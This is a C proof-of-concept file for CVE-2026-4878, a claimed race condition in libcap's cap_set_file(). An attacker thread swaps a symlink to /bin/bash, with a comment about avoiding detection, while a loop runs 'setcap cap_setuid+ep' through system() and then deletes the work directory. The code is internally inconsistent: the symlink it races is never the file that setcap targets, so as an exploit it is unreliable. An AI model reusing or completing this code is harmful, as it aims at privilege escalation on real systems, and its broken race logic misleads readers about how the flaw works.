/*
* PoC for CVE-2026-4878: libcap TOCTOU Race Condition
* This code demonstrates the concept of racing cap_set_file().
* Compile: gcc -o poc CVE-2026-4878_poc.c -lpthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#define TARGET_DIR "/tmp/cve_test"
#define LEGIT_FILE "legit_bin"
#define SYMLINK_FILE "malicious_link"
void *attacker_thread(void *arg) {
char target_path[256];
snprintf(target_path, sizeof(target_path), "%s/%s", TARGET_DIR, SYMLINK_FILE);
while (1) {
// Attempt to swap the file during the race window
// In a real exploit, this targets a file being processed by cap_set_file
unlink(target_path);
symlink("/bin/bash", target_path); // Redirect to a controlled binary
usleep(100); // Tune timing for the race
unlink(target_path);
symlink("/bin/ls", target_path); // Revert to avoid detection
usleep(100);
}
return NULL;
}
int main() {
pthread_t tid;
// Setup environment
mkdir(TARGET_DIR, 0777);
char legit_path[256];
snprintf(legit_path, sizeof(legit_path), "%s/%s", TARGET_DIR, LEGIT_FILE);
// Create a dummy legitimate file
FILE *fp = fopen(legit_path, "w");
if (fp) {
fprintf(fp, "#!/bin/sh\necho 'Legitimate process'");
fclose(fp);
chmod(legit_path, 0755);
}
printf("[+] Starting race condition simulation for CVE-2026-4878...\n");
printf("[+] Target directory: %s\n", TARGET_DIR);
// Start the attacker thread
pthread_create(&tid, NULL, attacker_thread, NULL);
// Simulate a vulnerable process calling cap_set_file repeatedly
// This represents the victim process (e.g., package manager)
char cmd[512];
for (int i = 0; i < 1000; i++) {
snprintf(cmd, sizeof(cmd), "setcap cap_setuid+ep %s/%s 2>/dev/null", TARGET_DIR, LEGIT_FILE);
// Note: In a real scenario, the race happens inside the syscall implementation
// Here we simulate the external trigger
system(cmd);
usleep(1000);
}
pthread_cancel(tid);
pthread_join(tid, NULL);
printf("[+] Simulation finished. Check capabilities on files in %s\n", TARGET_DIR);
// Cleanup
snprintf(cmd, sizeof(cmd), "rm -rf %s", TARGET_DIR);
system(cmd);
return 0;
}